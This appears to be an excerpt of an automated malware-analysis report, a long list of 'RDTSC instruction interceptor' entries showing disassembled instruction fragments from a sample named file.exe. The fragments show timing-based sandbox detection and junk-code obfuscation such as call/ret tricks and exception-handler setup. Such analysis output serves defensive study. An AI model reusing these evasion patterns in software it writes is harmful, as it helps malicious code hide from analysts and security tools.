Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24B7F second address: F24B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25BBF second address: F25BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2AD900F596h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25BCA second address: F25C64 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F2AD9523876h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnl 00007F2AD952387Eh 0x00000013 nop 0x00000014 jc 00007F2AD9523879h 0x0000001a push dword ptr fs:[00000000h] 0x00000021 add ebx, 76A0E87Eh 0x00000027 mov di, C4C2h 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F2AD9523878h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c mov eax, dword ptr [ebp+122D10C9h] 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push edi 0x00000057 call 00007F2AD9523878h 0x0000005c pop edi 0x0000005d mov dword ptr [esp+04h], edi 0x00000061 add dword ptr [esp+04h], 00000014h 0x00000069 inc edi 0x0000006a push edi 0x0000006b ret 0x0000006c pop edi 0x0000006d ret 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F2AD9523881h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25C64 second address: F25C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2AD900F59Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A283 second address: F2A29F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2AD952387Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B21C second address: F2B222 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C451 second address: F2C457 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C457 second address: F2C45D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C45D second address: F2C461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E401 second address: F2E405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D539 second address: F2D5CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F2AD9523878h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 or ebx, 2BC60C52h 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov ebx, 297A46EBh 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov bx, D27Eh 0x0000003e mov eax, dword ptr [ebp+122D0579h] 0x00000044 push 00000000h 0x00000046 push esi 0x00000047 call 00007F2AD9523878h 0x0000004c pop esi 0x0000004d mov dword ptr [esp+04h], esi 0x00000051 add dword ptr [esp+04h], 00000018h 0x00000059 inc esi 0x0000005a push esi 0x0000005b ret 0x0000005c pop esi 0x0000005d ret 0x0000005e mov edi, dword ptr [ebp+122D349Dh] 0x00000064 push FFFFFFFFh 0x00000066 mov edi, dword ptr [ebp+12476112h] 0x0000006c nop 0x0000006d push eax 0x0000006e push edx 0x0000006f jnp 00007F2AD952388Bh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E405 second address: F2E40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D5CD second address: F2D5DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2AD952387Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E40B second address: F2E411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D5DD second address: F2D5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E5F6 second address: F2E5FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F313B5 second address: F313CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2AD952387Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F313CB second address: F31407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD900F59Eh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F2AD900F596h 0x00000013 popad 0x00000014 push ecx 0x00000015 jl 00007F2AD900F596h 0x0000001b pop ecx 0x0000001c popad 0x0000001d pushad 0x0000001e jo 00007F2AD900F59Eh 0x00000024 pushad 0x00000025 popad 0x00000026 je 00007F2AD900F596h 0x0000002c pushad 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f push edx 0x00000030 pop edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED656F second address: ED6579 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2AD9523882h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6579 second address: ED657F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED657F second address: ED6587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6587 second address: ED658D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED658D second address: ED6591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6591 second address: ED65BE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F2AD900F5A3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F2AD900F59Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31A5C second address: F31ACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F2AD9523878h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 jmp 00007F2AD952387Ch 0x0000002b push 00000000h 0x0000002d mov edi, dword ptr [ebp+122D2E51h] 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D181Dh], ecx 0x0000003b jne 00007F2AD9523882h 0x00000041 push eax 0x00000042 pushad 0x00000043 pushad 0x00000044 jne 00007F2AD9523876h 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32AA7 second address: F32AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32C32 second address: F32C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32C36 second address: F32C63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F2AD900F596h 0x00000009 jmp 00007F2AD900F59Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007F2AD900F59Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32C63 second address: F32C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35D2B second address: F35D3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F2AD900F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35D3A second address: F35D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD952387Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35D4B second address: F35D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35D51 second address: F35D55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F364A2 second address: F364A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37461 second address: F37465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F365F6 second address: F365FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37465 second address: F3746E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36732 second address: F36737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F385EE second address: F385F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F376A7 second address: F376AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F385F2 second address: F38604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F2AD9523878h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F409EA second address: F409EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F409EF second address: F409FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2AD9523876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F403AB second address: F403CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD900F5A0h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007F2AD900F596h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40568 second address: F40582 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2AD9523876h 0x00000008 jbe 00007F2AD9523876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F2AD9523876h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40582 second address: F405BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F5A7h 0x00000007 jmp 00007F2AD900F5A7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F405BB second address: F405C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F405C4 second address: F405DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD900F5A5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F405DF second address: F405E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F405E5 second address: F405EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44916 second address: F4494A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007F2AD9523887h 0x0000000b jmp 00007F2AD9523882h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4494A second address: F4494E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4494E second address: F44961 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F2AD9523878h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1557 second address: ED1563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 push edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46370 second address: F46376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46376 second address: F4637C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4637C second address: F46380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46380 second address: F46384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46384 second address: F4639F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2AD9523883h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46EA3 second address: F46EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46EAA second address: F46EAF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47016 second address: F4701C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4701C second address: F47022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47022 second address: F47026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47026 second address: F47034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D9B3 second address: F4D9BF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2AD900F596h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D9BF second address: F4D9CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 js 00007F2AD9523876h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D9CC second address: F4D9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D9D4 second address: F4D9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCEB9 second address: EDCEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCEBD second address: EDCEC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCEC1 second address: EDCECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2AD900F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCECD second address: EDCED2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C7A6 second address: F4C7BA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F2AD900F59Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C7BA second address: F4C7BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CD25 second address: F4CD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CD29 second address: F4CD49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2AD9523887h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CD49 second address: F4CD4E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4CEA0 second address: F4CECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F2AD9523880h 0x0000000f pop esi 0x00000010 jmp 00007F2AD9523882h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D2C7 second address: F4D2CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F521BE second address: F521C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F521C4 second address: F521C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F521C9 second address: F521D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52659 second address: F5265D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5265D second address: F52663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52663 second address: F52669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52669 second address: F52680 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F2AD9523882h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F527F2 second address: F5281F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2AD900F59Eh 0x0000000d jmp 00007F2AD900F5A7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BD55 second address: F5BD5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C212 second address: F5C239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F5A0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F2AD900F5A1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C239 second address: F5C240 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C240 second address: F5C246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C246 second address: F5C250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C3B3 second address: F5C3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD900F5A8h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F2AD900F596h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C3D7 second address: F5C411 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD9523886h 0x00000007 jmp 00007F2AD9523885h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push ebx 0x00000010 pushad 0x00000011 ja 00007F2AD9523876h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C550 second address: F5C556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C556 second address: F5C55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
